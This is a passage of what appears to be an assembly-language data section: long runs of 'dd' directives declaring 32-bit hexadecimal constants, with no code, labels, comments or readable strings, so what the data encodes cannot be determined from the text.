47BE1C19h, 8EEEDFFAh, 0B10E8CCFh dd 29BFD9C0h, 0F007F3E8h, 0CC37EB5Bh, 94CBED20h, 0B7B5283Ah dd 797804F0h, 1D7048Ah, 0E9AA39Bh, 26EF680h, 14A089E9h dd 75DEDB03h, 0C892EE07h, 4A85AE1Bh, 0BCB4D0AFh, 0B500212Eh dd 0E7F41FADh, 70222DBBh, 23DC2A2Fh, 0B48F10F0h, 3F4609DDh dd 0EB98215Bh, 9BCC0341h, 0C84460FAh, 0CF91E4DDh, 4B0098EEh dd 425F0777h, 918DF56h, 0F33BEA2Ah, 0ADF814E0h, 310D2Dh dd 7EA5D9B0h, 8214C64h, 0F5614630h, 0E0922662h, 7700B7E4h dd 278C1966h, 596E09Ch, 0DF65E5Ch, 797480B8h, 3700E149h dd 2DC36F48h, 4451B5h, 0F2642E33h, 0DFFE7FCBh, 75268273h dd 91003820h, 16C0EE04h, 92F5012Ch, 1E05EABFh, 70A7CFFEh dd 475364C3h, 0CA778100h, 8C86EB6Fh, 76C1A002h, 0DC920049h dd 56C3BEECh, 0DA018109h, 3F41C1B0h, 4024806Eh, 4C0D017Ch dd 8ED0535Dh, 23C63A0h, 6FC8DD3Ah, 0C6CCE0E6h, 0AACB025Bh dd 0A9D1C1C7h, 0DA147040h, 0F453DD1Fh, 170470E6h, 15099CACh dd 0E0FF0F3h, 0DA8BA01Dh, 16B193h, 7AC59752h, 19B309E8h dd 151A9B7Eh, 0C0F822AFh, 26B0DB58h, 94FD2Bh, 0CAD1E16Eh dd 482DF503h, 0B884B049h, 16172F85h, 0DA00197Eh, 0F043E968h dd 5980AF7h, 89C00E59h dd 0DC02CD9Bh, 0E0A0D7BBh, 6AF24E6Fh, 7893B430h, 1C6A9CCh dd 35417E78h, 92916630h, 4EFCE8h, 83D8695Dh, 90E7C4F0h dd 3C912CE3h, 7BAA50B9h, 600E04A8h, 87436C86h, 8090E5D4h dd 472A9F90h, 0DA239109h, 8D844006h, 24F49053h, 39B4AB18h dd 8881E318h, 161349C2h, 3C0045A7h, 293ADD34h, 0D0B88Bh dd 9EE362E0h, 52A9475Ah, 1B4D02Eh, 70FE2407h, 88C3F6D4h dd 519588EEh, 0F03FEF0h, 8F8664C4h, 0A436A365h, 0B00F3EA8h dd 60E85D60h, 0F89A9B5Eh, 0D14A0783h, 0A3635442h, 90000D6Dh dd 979F8C29h, 0C691BFBh, 1C18A72Ah, 352732F1h, 0B8CC6087h dd 3C3F4C8Ch, 10497E05h, 4D6888BBh, 183B6500h, 30CAB71Fh dd 0DBC904D2h, 0B4BB0301h, 8B05DCA4h, 9FB97F46h, 15984C0h dd 10E64223h, 0D005FE2Dh, 1695DADh, 589B2FE2h, 2CB040E2h dd 0DD00E625h, 0C3B31365h, 0B02674D8h, 10950980h, 245031C6h dd 0FDCBA12Eh, 4BAAAB01h, 5A205663h, 0E5FF0030h, 0DE51A28Bh dd 81956673h, 0AFE90E0Ch, 2469006Eh, 12B1C4FAh, 0DFB70C12h dd 84443CBCh, 985A1680h, 82FC013Bh, 0C150A79Bh, 89A76036h dd 0C29E4Fh, 14645C38h, 904F089Fh, 0FF4FA610h, 1D313560h dd 182C65CEh, 60955E56h, 9D00189Ch, 0D78D1BD1h, 0E612C999h dd 105A5056h, 0D1A1241Ah, 815480C0h, 694E2F75h, 156F1BE8h dd 82A10FA9h, 68AC6D21h, 0A527BDh, 955958D7h, 32120F74h dd 2BA75C00h, 9EEFB4DFh, 9082001Ah, 4ED47639h, 1B3B5F4Bh dd 7951E061h, 0D17275h, 0A42C9578h, 7E7CC425h, 0D00310EAh dd 0F7D51FB1h, 24780250h, 0B51A3E4Eh, 45705488h, 0D02D8014h dd 5CE9C810h, 0B9501870h, 45806D80h, 0FAEA00BBh, 96C3A833h dd 0A000012Fh, 0F292BC76h, 0B93412h, 808D360Fh, 4F267035h dd 0D7D53A09h, 0E68B007Bh, 1B3259Dh, 0C43F739Ah, 0D4D6A90Fh dd 34006524h, 4B5CABCCh, 3B2AF1h, 4AB748A1h, 700643ACh dd 0C1DA9C30h, 414BC107h, 410A1E7h, 60014578h, 0F25C10F9h dd 9EF254A8h, 40386C25h, 3B4E54h, 6A318395h, 16598BFDh dd 91B3CB02h, 0E0DF457Eh, 0A0B076A4h, 8CE308h, 42473877h dd 892BF058h, 21AEEA17h, 7BA03030h, 0B0009DF8h, 66D09290h dd 0F90B6300h, 88FD112Eh, 261006Fh, 864EBDDAh, 470094F4h dd 893D8D5Bh, 0B78EFE4Ch, 3B52DC07h, 930BA458h, 0E84FA7Ch dd 0DF0EA0AEh, 0FF29ABh, 0E75681ADh, 34AF35F3h, 0B42ED60Eh dd 24EC8058h, 0AA0EA3h, 9BEFFF9Eh, 347DE238h, 5780BA00h dd 0EA8DAB27h, 81264AD0h, 0D08AFAD0h, 70BEFF63h, 0A250F00h dd 30E572D6h, 0ED28D2A7h, 0AB0044C0h, 0D9D35EF3h, 2C71AA02h dd 0E07555h, 50DA29F5h, 0FA023B36h, 0D4E958D8h, 13C8A580h dd 2BC0D0E2h, 0EB7180AAh, 0F3192160h, 668F98h, 0EF40698Ch dd 61834AAh, 496EE904h, 0FCF0C087h, 0FE84BA38h, 5597001Bh dd 51D02090h, 0E0246E30h, 0B196049Ah, 0EB968C0h, 90A60031h dd 0F1F4AE1Fh, 2501395Ch, 0D20B76CBh, 0B0C7A4DAh, 58DBD97Ch dd 0F80B6AEEh, 1E879306h, 5F5E0118h, 0A66C46Bh, 3A90224Ch dd 73BD0210h, 769D883Bh, 96250058h, 74D4DCE8h, 0BB8CE714h dd 36AC009Ch, 38639103h, 26C9995h, 42A4114Eh, 90059780h dd 52004478h, 4303FBEh, 211273h, 2342EE79h, 5EA19917h dd 60ADECB4h, 3D9C6Ch, 0CD212491h, 45D2F036h, 921E37E2h dd 0E9407DD5h, 0A7D42DC6h, 9A762E21h, 0EC890F80h, 0D7E008A0h dd 3C0032E7h, 8B307EB1h, 1C640EB3h, 245FC9h, 53947191h dd 18F6EB32h, 5D844812h, 4472AC40h, 0C110DF97h, 0B1772E30h dd 61A0406Fh, 1B58B040h, 63200294h, 5C909EE0h, 95AEC728h dd 0E4F0B07Dh, 0D9937F01h, 8FEC0F9Fh, 219887D6h, 38FFF710h dd 319100C4h, 0C9F35A42h, 89601813h, 0FA9BBE68h, 0AF361E65h dd 0F1500079h, 4787152Bh, 0A8003590h, 0D231ED85h, 2932E48h dd 4C5BE856h, 107E9B40h, 5EC1E00h, 5C083FB9h, 5F3AE5C0h dd 0D3FBBE0Fh, 0ED37C17Dh, 2C4DC1D4h, 217700CCh, 14B21D3Dh dd 128D78AFh, 40353041h, 55D8FF34h, 0AA04C439h, 0DC0CF521h dd 22012CF9h, 3ED9B3B6h, 2E6428BAh, 5A00F357h, 72D2886Eh dd 5E090060h, 440AE4E0h, 0C84E3B35h, 0B95A94C0h, 7D910058h dd 0F13E387Ch, 0E202EFADh, 0BB025CFBh, 9574E81Dh, 0DED109E4h dd 0A42039EAh, 646EC903h, 988149h, 0BCED48EFh, 0A0D6681Eh dd 7F94CAC4h, 9DD92A8Eh, 0FAF400ECh, 5E2E4456h, 0EEF88DFBh dd 20126800h, 1FF15223h, 0D92802CFh, 4B3EC8D0h, 0ED17F4C1h dd 6A007064h, 67001AE2h, 0B0D1230Bh, 12A71E0Dh, 0B46FB4D8h dd 620BEEB4h, 0DA721A18h, 900E00ECh, 4157FAA1h, 0D7000532h dd 0C3C07920h, 51CA092h, 8937B173h, 82E85C90h, 50C0D7EBh dd 21B094DCh, 31C19E3Fh, 2811D1BBh, 0B717ECAEh, 9916400h dd 0A8DFD949h, 4C8C1DF5h, 0FCFF009Eh, 0CC1180D3h, 1E9DD03Ch dd 0E140866Ch, 0F01ABBCEh, 5A9A7601h, 42CC41DCh, 7BF6C3BFh dd 0F8A37040h, 4B4654h, 63D6BEFh, 4F607CE6h, 3FC200Ch dd 6F3043h, 0EBE1ADB3h, 147D8936h, 71CFC930h, 7EC3D283h dd 406A079Eh, 0BBDA2D6Dh, 593ECA40h, 0D7D29D00h, 0EBBABCD6h dd 4F6C9A7Fh, 0ADFC88E6h, 8B0B050h, 0C532EF01h, 0A5A3158Ch dd 4000C07Dh, 0BC338327h, 0AA004B99h, 9CCA98D8h, 1DFE4642h dd 407CA325h, 0AC5D4B9h, 2C079AE7h, 0AE49C7F7h, 9E898F2Eh dd 0F6195BC0h, 982BC1E1h, 57033C90h, 420D2C00h, 4C877EB4h dd 92004C98h, 0B97D7A3Ch, 5FF1F519h, 0BBA48131h, 83D50089h dd 38D14922h, 3E52AD0Eh, 0B01380DFh, 0F8110DA0h, 0C90100B4h dd 0A1FFD48Bh, 7304006Dh, 0C0AF3D66h, 0AAC61F50h, 0D308100h dd 196D6A8Fh, 83B300C7h, 4B8EE90Eh, 23073F2Bh, 3F35F20h dd 0E32E08D0h, 0BD490061h, 9D3D6407h, 0AF4FD1F6h, 0F171B058h dd 839E0FE4h, 2AE03E58h, 26EB4FCh, 2C71612Eh, 0E0C8CE92h dd 57CF40B2h, 0F0F0C898h, 23B85B01h, 0B556E3FFh, 0CE25D4h dd 0BD3603FAh, 4C6A1FEFh, 68DD1700h, 0EE7087BEh, 0E2522849h dd 0F3560090h, 0A174CA6Fh, 68000D62h, 7D764E1h, 98AE693Dh dd 0B17B001Ch, 0E5068A7Dh, 0D10FE7C0h, 0E720F54Bh, 9E503410h dd 2F2A39h, 0DB9B471h, 2551EEACh, 7433F700h, 681BC1FFh dd 40974B59h, 235B577Ch, 2E0212A4h, 883D8501h, 7FC58E4h dd 376D2F52h, 6F0470E7h, 862FC677h, 5F302251h, 3AD0F832h dd 0D400E7F6h, 9E3DEC26h, 5AEEEF65h, 53A1F700h, 7C738548h dd 31EA0Dh, 728D163Fh, 0CB36A4CEh, 4091FE4Ah, 92C9FCB3h dd 0AFF720h, 0D537B0FDh, 7ABB35CCh, 0AE0B803h, 0A07E84BAh dd 3A01C7h, 5EBF0D47h, 9887BCFAh, 0C1CC89Ah, 0F440F235h dd 90D30747h, 0FDCA023Ah, 0D60242F7h, 0FF0138F6h, 0D70343F8h dd 44F90840h, 83D85B04h, 310EFCC8h, 32883155h, 0C17C0001h dd 0F8D06878h, 0F7D8251Dh, 98F00C68h, 1B1E6C92h, 258ED79Dh dd 83A28E7Dh, 0FE1274B6h, 0AE1D2821h, 0A976031Ch, 0E17C5D78h dd 29A01AA1h, 824E3FDCh, 79694B75h, 2B1DE096h, 0F5B413E1h dd 7C5400A4h, 0BCE099FFh, 81A22500h, 72615C4Eh, 129801E9h dd 951DB1D8h, 9F2841D7h, 0A68DF0CDh, 0FB572301h, 0D785339Eh dd 0A0D51DF0h, 0A5B97A48h, 18720F70h, 0B1F014E0h, 8400B2D0h dd 90BC31E2h, 0F133561h, 937419B6h, 191ECC0h, 14966DF5h dd 8011D363h, 0F0D247Eh dd 0A2AC8D4Bh, 565833C0h, 6407A016h, 809DB85Eh, 0CE57F170h dd 869900FCh, 7B4DE474h, 6812627Ch, 9F00852Bh, 0EB4EA16Ah dd 7DE60333h, 0E59B759Dh, 0E39AE91Ch, 0ED8A803Eh, 39CB6B41h dd 9E8300F1h, 44886A58h, 15015F12h, 0B21A2F50h, 3880B8C4h dd 546F773h, 473ED93Ch, 0D41D80EAh, 0DF39336Eh, 61D2609Ch dd 82ABBC51h, 87345F00h, 62532173h, 21C9609Bh, 0DD144DB1h dd 0FF08B400h, 0A74271E5h, 333B00DCh, 0D7B0EF38h, 0F01EB51Ah dd 564098B3h, 0E331612Eh, 74C200D0h, 91F14606h, 101DBAC9h dd 1A00A683h, 0CA11493h, 9AEE24F2h, 0DB278024h, 1CA2E7F8h dd 7EEF7507h, 0A350251Fh, 156AA04h, 0A6699B5Fh, 50FDB1BCh dd 582B77E4h, 0A24ED03h, 0B0F99715h, 60A1EE7Bh, 0A0833879h dd 0F401AC1Fh, 8F1019CCh, 1E3033FCh, 201E5C15h, 0E9F69B00h dd 0FDECB486h, 138F5500h, 4D90F9E3h, 0E111C470h, 80D763E4h dd 889E58B2h, 0B410F9D8h, 2D05FE01h, 606FB590h, 0BAC29604h dd 83C610CFh, 8B95BFh, 2E8D7021h, 8CFA2505h, 90D4133h dd 0D02100BCh, 398D2E85h, 0ABB0D595h, 596E1D30h, 34AFB8Fh dd 6CB0F1F7h, 886F0B9h, 0A9218460h, 0F89A4B13h, 2480008Dh dd 99C619F7h, 0BB60966Dh, 0B9D37C61h, 0DEB11DE8h, 0A4144131h dd 0E8FE0BCDh, 65FCC87Fh, 29056CFAh, 0A50DD8E6h, 0F1A26C03h dd 6E17C2Eh, 96293EADh, 110021A6h, 0F29C6109h, 76A055Fh dd 0DC7298FBh, 9530E058h, 6C6620C0h, 7A89A9h, 4D22F578h dd 25A5777Dh, 161B3D01h, 0AECFC0B0h, 0C9FE770h, 6A20CB33h dd 2600FA39h, 0D6D9A180h, 1C9983Dh, 0CFBD636Eh, 8C500B34h dd 318020A9h, 9E3E3D1Dh, 0ED21C280h, 6D68DFE9h, 892AA200h dd 23E6288Ch, 0E776000Dh, 6636ACEAh, 3C7A9EEDh, 23C041D0h dd 4B0401D7h, 0E18F1F2h, 4AFCAA00h, 1DC052FAh, 0B1117B09h dd 9675827Fh, 2094A0BEh, 1C7DCC5h, 0E6AF7CB6h, 0EC6E45FDh dd 0EF0094E2h, 0F4189B54h, 0A128D9h, 9FB036CFh, 3ECA84F6h dd 45180EE2h, 83706DB7h, 47F8186Fh, 0C655F9B6h, 40D36800h dd 388C61C3h, 4D08CCABh, 0BF02F621h, 2B892968h, 0F8848236h dd 60584452h, 2CBFA1BDh, 8001369Ch, 240A8F5Ch, 0D1E1E7A3h dd 188206F0h, 0F17D2127h, 0F0380B2h, 0BE4375DEh, 509D8828h dd 4B260061h, 0A0C3CA1Dh, 74052F0Bh, 6F8B2934h, 0C0FF5C08h dd 40D668C5h, 0B422BB46h, 68BEFB00h, 0A45939FDh, 0C54400BDh dd 72DC3317h, 9F88A8B4h, 0C18CAB3Ah, 40E00ECFh, 5C11C170h dd 24C5F1AAh, 43F19568h, 211893A4h, 0B4297520h, 15440068h dd 40CC480Bh, 0C0C8DC5Eh, 0C4DE1070h, 0C1304813h, 4023D268h dd 4C11DBh, 7B68BAFFh, 0D6353h, 42727DF8h, 8229FC8h, 0F8986728h dd 18201845h, 2FFE8CBCh, 8224FA1Eh, 3B9391A1h, 0DC2E80E9h dd 2FFD6E5Fh, 706C1C31h, 0CF11400Dh, 0D0B4C3F4h, 0F502F2F0h dd 20A504A9h, 4DF02073h, 0D2019991h, 0C97266CAh, 4231965Dh dd 61B243CDh, 9030C090h, 2506082Eh, 99648CE2h, 2E88CD40h dd 0A3120921h, 30222AF5h, 84F220A5h, 4045675h, 7A2ECBD3h dd 9F57BC80h, 0F2D7433Ch, 0FE7307Ah, 2030487Fh, 0B631197Eh dd 0CE700099h, 0D3A4C3Ch, 0FE762F1Eh, 0F144DC01h, 24F5743Fh dd 1C5CDC4h, 90177895h, 8130578Ch, 76D14DB9h, 59C8B6C4h dd 0CCAE336Bh, 21093908h, 76D902h, 0AF8D947Bh, 22DD027Fh dd 0E345992Bh, 0EE2C3048h, 0A287A705h, 0A44042ECh, 3E38390Dh dd 823124FCh, 0D5210458h, 880D417h, 3CEFB80h, 8AF88E4Bh dd 1387196Bh, 2F4AE8AEh, 5C8A06D0h, 0A129586Ah, 12D421Ch dd 48A33640h, 43CD178h, 0F1B6D628h, 88895EDh, 0C4C01268h dd 4640D168h, 0B322D3h, 696895FCh, 30346B0Bh, 0A61A9802h dd 843721CAh, 0D2608FA0h, 0B623C176h, 15111DCh, 9576DA03h dd 0AC238B61h, 5F304FA2h, 302CEE23h, 3019B928h, 61C03558h dd 866BDCB8h, 0FADD0547h, 4503710h, 0B8DDEC4h, 5C0D02A6h dd 9DBC890Ch, 808811B8h, 6BB749AEh, 880464F8h, 7F20464Dh dd 7C290029h, 5EA357CEh, 0DC001645h, 0ACED961Dh, 980B391h dd 0A619C1F6h, 20340081h, 5539807Bh, 3B1FF1DAh, 79F400AFh dd 6EC64775h, 5B3DF852h, 46A682BCh, 0C00DBF0Ah, 0E2236110h dd 0B6D03F26h, 1372599Dh, 40902191h, 3F58117Ah, 11A69051h dd 4137E0h, 4D0E2461h, 0DAD82CB3h, 57EF8ACEh, 431AD21Dh dd 0B9B46131h, 2E721110h, 6159E405h, 0C08B242Ch, 0CE9E700h dd 0A32B29CEh, 7E001177h, 0E5B89BA7h, 4C19EFA6h, 98E87807h dd 0C708018Ch, 44FCDE62h, 607980A1h, 0BBF4E86Ah, 0A8D70110h dd 0D4915748h, 3361FD36h, 3391A264h, 3E3D9B88h, 8748F039h dd 0A2B2C9BDh, 0A000E17Dh, 1FF89F39h, 0C395341Eh, 0D06E87E0h dd 72456290h, 0C0A4A929h, 0B7693608h, 0B0844818h, 0EF407D20h dd 77B23E4h, 78373912h, 0B01D2600h, 1D72A7ABh, 0F2CBA159h dd 0AD202C80h, 0D0A049h, 0DD40CA0Eh, 6B389F2Fh, 0FCCF51C0h dd 7B3498D1h, 25202641h, 60D964B0h, 23F44AFAh, 871108F1h dd 4B12AC00h, 51C405F3h, 0BDC0D964h, 40C0454Ah, 0D846CA4Ch dd 0D4031FE6h, 0DC3ED958h, 0D1EC9869h, 1BB098E0h, 31A22534h dd 0F842C822h, 3FC910Dh, 0C2321C24h, 0FB00307Bh, 0F8FC353Eh dd 13AAD076h, 3EB0A829h, 0B1235Ch, 0B99A4A34h, 9C122457h dd 4C8871BEh, 0F5D1E80h, 0FF67ECBh, 0F734CF95h, 0D2412560h dd 0E18AD43h, 0FA51BA48h, 57A7437h, 456E68B0h, 6D0C00C0h dd 0E1BB4CB1h, 8C02117Eh, 3D250EC8h, 72F0681Fh, 4409AABh dd 6798352Dh, 50B8A2B8h, 5E00E424h, 609FF025h, 322C710Ch dd 0D9076ADh, 0C9E4C044h, 0DE4EAE02h, 82B00EA5h, 1847FC88h dd 0CF1768C2h, 4C38E340h, 68BB02FAh, 0B0727A96h, 36394880h dd 0D8AAD224h, 0AA3C5C82h, 484D90A9h, 2358D3C0h, 0B49258C6h dd 0F0DE4700h, 0FC3C6A31h, 0A2881C50h, 0DC232E41h, 0F6757200h dd 1DA7A5B7h, 0A996E518h, 5133EA1h, 203DF1E3h, 0FE4C488Fh dd 588107C4h, 187310F1h, 4AFFAD80h, 3D06F9C6h, 4D3411C2h dd 0A32D0079h, 215CDB75h, 0B05873A6h, 77F0C694h, 0B2091C41h dd 0A7803A6Eh, 0B0A0FE23h, 29DFEA11h, 0AEF1C740h, 587FF64Ch dd 280294C3h, 0B6703E66h, 0F01EF499h, 2CE890B0h, 10230E24h dd 44CE3265h, 43C25288h, 74D88405h, 95E4CF43h, 9EF267F0h dd 504B234Eh, 11D41DD0h, 58FC8040h, 10E115Ah, 0F623816Eh dd 80BE486Ch, 60C04B59h, 0BF26A4h, 40991ED9h, 0C22B2307h dd 9C84964Ch, 2A0E2E96h, 9500F7FEh, 31A163AEh, 0DC7B1A10h dd 60C67004h, 51DB831Fh, 0D0669445h, 2D5AE1C0h, 0D8E552D7h dd 0A7692F03h, 1103C096h, 0E948AF34h, 5E3DC09Fh, 0EB750007h dd 0DA874D9Eh, 0A218D32Fh, 234141F1h, 0F51C1D0Dh, 447700AEh dd 58AB5FB3h, 0A1014C99h, 0CF477CCEh, 1A342080h, 0E195DB0h dd 0E93310C0h, 22F49Ah, 0D157E5AFh, 59EA9EF8h, 0BA8CAC00h dd 13C632F0h, 0D2200DDh, 17CFF974h, 940EEE8Dh, 0E0289F8Ch dd 0F167389Bh, 62120BECh, 6D04292Ch, 0F0E5C09Ch, 0E11DA875h dd 0BA81E4DFh, 0BB14DAF5h, 1519DD0h, 0A36415ACh, 0D05D5291h dd 7B0359A0h, 5054358Dh, 4A5EE1A1h, 4E68F0F3h, 63943E90h dd 1D1E8D3Ch, 1081189Ch, 2B00AEC0h, 1292647Bh, 14869F3h dd 84A52AFAh, 0E48E5E56h, 0A4094E15h, 0D53C61AFh, 0BE80D00Fh dd 9F4A65ADh dd 8D935F0h, 83304930h, 0E8A6F854h, 0A93F0F15h, 0F1A067A0h dd 0F2606835h, 48F64A4h, 0A6E3F05Dh, 0AA105063h, 908BAFBDh dd 9FF40Ch, 398A3BB4h, 0E1916F11h, 1C601274h, 0ADF72B41h dd 84AF0085h, 2489F9ABh, 3501709Ah, 0EE017C45h, 3F84AA4h dd 71FF603Fh, 440A2026h, 0FE5918C6h, 22030C50h, 0F620E46Ch dd 4D8A1F10h, 2E7C8F06h, 0F50C5091h, 0B9A57069h, 0A1AA0046h dd 0F7FE99FFh, 2E00AE6Dh, 0F5A90A48h, 0C7BF293Dh, 0E04C5B29h dd 8F49C538h, 3166F07Eh, 7921B208h, 0AE73E4h, 9903DB48h dd 40D72C8h, 0E3FE9A0Ah, 778084EBh, 44F6F8F0h, 15BBE888h dd 944FBDA7h, 3AB49C80h, 448C918Ah, 0F4012E1Dh, 4ADDD3ADh dd 0BC50827Eh, 600C9E03h, 72CCB80Dh, 0D0C0EB7Dh, 0DD8B1154h dd 7A29C06Fh, 44D635Ch, 0F15E2D0Ch, 0C07F095Bh, 63449A21h dd 5A533952h, 0DB0210A8h, 6EC3E200h, 0A3B6201h, 26F9BE62h dd 75C8A7F2h, 9180FEE7h, 60253144h, 1AB919FBh, 0FA00E3DEh dd 19E1F6C2h, 28CC883Bh, 1AC897A6h, 0E107E456h, 8C6AFC02h dd 0ADF0610Dh, 1A1C06Dh, 44704A6Eh, 0B54C0A00h, 0A2BA3AF1h dd 0F0626131h, 86196DE9h, 5515A9A1h, 60827438h, 0D5ED20ECh dd 94A31C4Ch, 208361E1h, 1012F854h, 142150E2h, 0F6006E02h dd 8324065Eh, 5B9B2875h, 82B6EF90h, 18DBF020h, 0A9F4023Fh dd 0B0004615h, 4D407E96h, 0CA2876BEh, 87A00908h, 0F0B03E34h dd 45D071C2h, 0A02B0500h, 1F01E6Eh, 9C80D456h, 0BA43F8E8h dd 0D3F69800h, 85E9D85Ah, 292A0F72h, 6F00A047h, 0E48CEFD9h dd 6558ECEh, 0FC9AEDB3h, 74A121BDh, 4581851h, 69C534AEh dd 80C83788h, 36AE49E8h, 8B0E6963h, 0C0056A58h, 0F9A2CB31h dd 0A78901Bh, 1DF0FDF5h, 7C9E00B4h, 0DE424D38h, 0FF0E3491h dd 0AC6620D9h, 790F06C7h, 0EE3E00B6h, 51455221h, 8B0ABFC6h dd 0F9EA017Eh, 80198402h, 8A4A129h, 8050EDF6h, 0B43A34h dd 61A33253h, 89A508Fh, 21EAE930h, 4D3AD489h, 207C2475h dd 31724211h, 85959A1Dh, 0A47F980h, 0A0F5089Bh, 7E408E2Ch dd 4AD312E6h, 0D6B43088h, 0D9C10894h, 5E4D2EF4h, 30CE0421h dd 9F11B039h, 0D88587Eh, 0B0513F80h, 43779A8h, 0F008D9A0h dd 3D809011h, 1A745F9Dh, 17FFD06h, 3FB15DF6h, 2A9545CAh dd 1C00C4B4h, 0ECBE5A72h, 13006C9Dh, 62633A96h, 258B719h dd 69FC39D4h, 60AF4F61h, 40FC6D0Ah, 42B4D99h, 990ECA30h dd 0C001E455h, 35C98489h, 5034C81h, 5990B4D0h, 1729E0C5h dd 4495008Fh, 89EB5698h, 9F54C634h, 0BC0CA4B0h, 7175874Ah dd 0D031603Ah, 581AB5Ch, 7C703C01h, 4530F1D1h, 0F6609188h dd 4674B824h, 0B4360058h, 70D59112h, 289DFA8Dh, 0F6D01FF4h dd 636B7285h, 4263155h, 7C01E91Eh, 787B5040h, 297F405h dd 0A9AF7075h, 0E0408494h, 8A185BBCh, 0F8C974DEh, 12BE2D2h dd 1972FD94h, 0C07CCCEDh, 0C9099C92h, 97A6F4BDh, 0BAF988E4h dd 6E4A476Eh, 0C60804A0h, 69C1267Ah, 2CF50054h, 75DC195Eh dd 0D0C912FCh, 410000CBh, 0F63C5590h, 810D86Eh, 3703534Bh dd 298C01F2h, 65F1004Dh, 3D929477h, 5070440h, 0CB02CD96h dd 1541308Ch, 0D03B438Ah, 0C702602h, 18406A56h, 3A886E7Dh dd 4D981932h, 1844E0EBh, 47B4089Bh, 20C2998Ah, 0F34F00BBh dd 42CAAADh, 0DE430423h, 29590081h, 0CC32FF0Dh, 0F9502204h dd 0B0888310h, 0BC5902F3h, 7A51C67Fh, 56812CC3h, 42E82084h dd 6F87740h, 0AACC8AABh, 0C8AB1092h, 0C04408FCh, 7E95B053h dd 0A222846h, 0B02B3500h, 0CABC9329h, 2DE10942h, 95013F44h dd 30F2549Dh, 3526CC10h, 4311D093h, 46B49880h, 1243F18Ah dd 841B2Ah, 0DFB49052h, 44A9FA2h, 0F18D614h, 82C605E8h dd 0F802F441h, 0AFA76C69h, 0E3728ADCh, 39A1830h, 0B878B9C7h dd 4C595E10h, 0A4D52494h, 0C028F0B7h, 7E9AB03Ah, 2226046h dd 0B0524000h, 6C6BA126h, 1279C0C0h, 0F211554Dh, 0C618DE5Ch dd 2EB86335h, 641841A5h, 0E02F4E84h, 0DA7E3063h, 5391C76h dd 0AD8A45C8h, 0A3048007h, 164080FDh, 0F36514CCh, 0F9BCA0A6h dd 0C200BA43h, 29109950h, 8A2C6D32h, 3A85E895h, 2287408Bh dd 21AAC860h, 3B18C74Bh, 41776F62h, 0F5C274F8h, 0F27462A8h dd 0B1033055h, 9AC99102h, 0E40208A9h, 32617AE4h, 8F607B7Ah dd 0FE77E7E0h, 585DFF13h, 583DD84Ch, 431CE50h, 0D5A180A4h dd 91CC82F4h, 4BDE4032h, 0CC5D5D04h, 2C808688h, 6D1C633Fh dd 7AF301E7h, 0CAB32276h, 9E49C56Bh, 0F4E650B1h, 0C3278664h dd 19269172h, 0B40F0E3h, 7FC2EC7Ah, 8CFE0389h, 7DC35DB0h dd 0D9F905CDh, 6A1C8241h, 0C13F2A23h, 3040E47Eh, 1569A61h dd 0F1C53945h, 804F298Eh, 0D3E64371h, 0FEEF09h, 1927160Bh dd 510861B1h, 83016B90h, 7531B571h, 3CC1DE05h, 18C4CEh dd 640158D2h, 24345D70h, 402C925Ch, 0E0A14CCCh, 654D182Ah dd 983180AEh, 0FB884E10h, 52AE2C46h, 0C604849Ch, 0DE809106h dd 0A4718070h, 165A1889h, 63BE075Ch, 0A6233CFDh, 815E06Bh dd 269810EFh, 2B138431h, 0AE51C01Bh, 1348B069h, 129D348Ch dd 55C801ACh, 89A117F6h, 0B1B88110h, 1462AA60h, 0CBB1BF1h dd 0D8F90153h, 10758408h, 0C04830FEh, 9B71C51Dh, 0F589AA04h dd 0D86D7C83h, 43B1141h, 0AFE3788Bh, 2E10882Ah, 0E1813C04h dd 9A80A239h, 30F85625h, 5051D8D5h, 14917E87h, 22000611h dd 536D305Dh, 51049B66h, 709AD0AEh, 0D54315C7h, 3C290104h dd 0C21B7899h, 91B34065h, 8F0373C4h, 0EDD4C3D9h, 0C0984494h dd 6B6A1605h, 23FC3F65h, 4F48044Eh, 0A3788879h, 0A706D13h dd 517AAC42h, 3EA01F6h, 12306223h, 0E0270108h, 4565E0CAh dd 0F67F9800h, 88462ACEh, 0F700EC01h, 2D61035Eh, 3F85A0FEh dd 90CD1156h, 57633680h, 448CBD04h, 63F2407Eh, 6E6BCF0Dh dd 0B40259A2h, 31DF206Dh, 0B8B17B4Fh, 61F82B1Ah, 3B016A0Ch dd 0A3082088h, 42461C90h, 39B49902h, 0F731A98Ah, 0F12D2180h dd 66944CADh, 8BE75C00h, 41DC91E2h, 88A425h, 69137A58h dd 0C4595248h, 22C033Dh, 50687E46h, 215C45B6h, 18FA5140h dd 0E86E7C05h, 7FCD1351h, 0D82820DEh, 321EA79Ch, 6E40467Dh dd 374F0663h, 0BF6714F9h, 0F823B4C5h, 58633301h, 7A0E9504h dd 6C635C02h, 40BF1ADCh, 91A85018h, 18B7792Ch, 4C0A07B4h dd 0C5ABE789h, 4B20203Ch, 0C52537AEh, 0F481641h, 0A3AE4401h dd 8127A7E0h, 0A4086379h, 91EA885h, 8004EB3Eh, 92A0C1BEh dd 1026C36Ch, 465E6CA9h, 88CF0056h, 252F624Dh, 9EC22EF7h dd 0F0B90984h, 0D6031C00h, 78C002FCh, 926155EAh, 1C0B167Eh dd 0FF4C3832h, 49E31040h, 0CE00E809h, 21C57306h, 175885DEh dd 6C447808h, 0E9ECB83Ah, 0EDB85613h, 1167E5Eh, 80096D62h dd 3C5C2087h, 615C08CDh, 22035905h, 4AC823FFh, 40447C49h dd 0A0C90448h, 123C552Ch, 0F264F32h, 65097BD0h, 48A54846h dd 18BB1CC2h, 7802E9A8h, 2161EE9Eh, 0AC2450B2h, 0ECD9F874h dd 0A630948Eh, 77E40B40h, 0B6280D04h, 180D4FFCh, 8DC4F05Bh dd 40A09643h, 952D566Ch, 0E2C21A00h, 0FEF07DC0h, 0D0ED0471h dd 0A003A11Fh, 9D5831E0h, 50291820h, 3B49D0F9h, 841FC54Fh dd 0ABED40F4h, 75C486A6h, 4439462Ch, 0F0972A93h, 0BFA85311h dd 88B2E0h, 11B69D3h, 0BC7C9D81h, 0B0003098h, 5630FDC3h dd 0B9ABE83Ch, 194E7984h dd 0D5B0E0F6h, 0D5F7815Fh, 4EF03880h, 0B723202Fh, 22080700h dd 709DE56Eh, 0A043FA1Eh, 2D2169A4h, 0C047E2Ah, 1DF8825Ch dd 46431CCCh, 57015023h, 61C533AEh, 0E580F023h, 0A74DAE50h dd 8AC68103h, 7183BE24h, 7CE44868h, 6FC71980h, 0AE0B7E0Ah dd 848A4879h, 0FCCB55DAh, 0A0CE92C8h, 0DD82E33Ch, 83D30044h dd 3DA275E4h, 3203C3D1h, 71F97C9Ah, 